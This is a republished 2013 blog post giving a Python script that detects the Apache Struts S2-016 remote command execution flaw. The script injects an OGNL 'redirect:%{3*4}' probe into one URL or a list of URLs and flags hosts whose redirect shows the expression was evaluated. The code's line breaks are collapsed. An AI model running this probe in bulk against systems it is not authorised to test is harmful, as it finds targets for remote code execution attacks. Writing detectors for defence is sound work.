Struts S2-016 Remote Arbitrary Command Execution Vulnerability Detection code

Source: Internet
Author: User
Tags struts vulnerability

Two days ago, Struts vulnerability exploitation tools flood, can refer to the S2-016 and struts2 and then burst Remote Code Execution Vulnerability, then wrote a very simple Python program to detect the existence of this vulnerability URL.

#!/usr/bin/env python#coding=utf-8'''author: zz_ddate: 2013-07-17'''import sysimport urllibimport getoptdef help():    print '%s [-f urlfile] [-u url] [-h]' % sys.argv[0]def struts_test(url):    turl = '%s?redirect:%%25{3*4}' % url    rurl = '%s/12' % url[:url.rfind('/')]    ur = urllib.urlopen(turl)    if rurl == ur.url.split(';')[0]:        ur.close()        return True    ur.close()    return False    if __name__ == "__main__":        url = None    urlfile = None        try:        opts, args = getopt.getopt(sys.argv[1:], 'f:u:h')    except getopt.GetoptError as err:        print str(err)        help()        sys.exit(-1)        for t, a in opts:        if t == '-f':            urlfile = a        if t == '-u':            url = a        if t == '-h':            help()            sys.exit(0)    if not url and not urlfile:        help()        sys.exit(-1)            if url:        if struts_test(url):            print '%s is Vul' % url    if urlfile:        fs = open(urlfile, 'r')        for line in fs:            line = line.strip()            if line:                if struts_test(line):                    print '%s is Vul' % line

When used, the URL is set to "http://www.example.com/abc.action"
Format.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.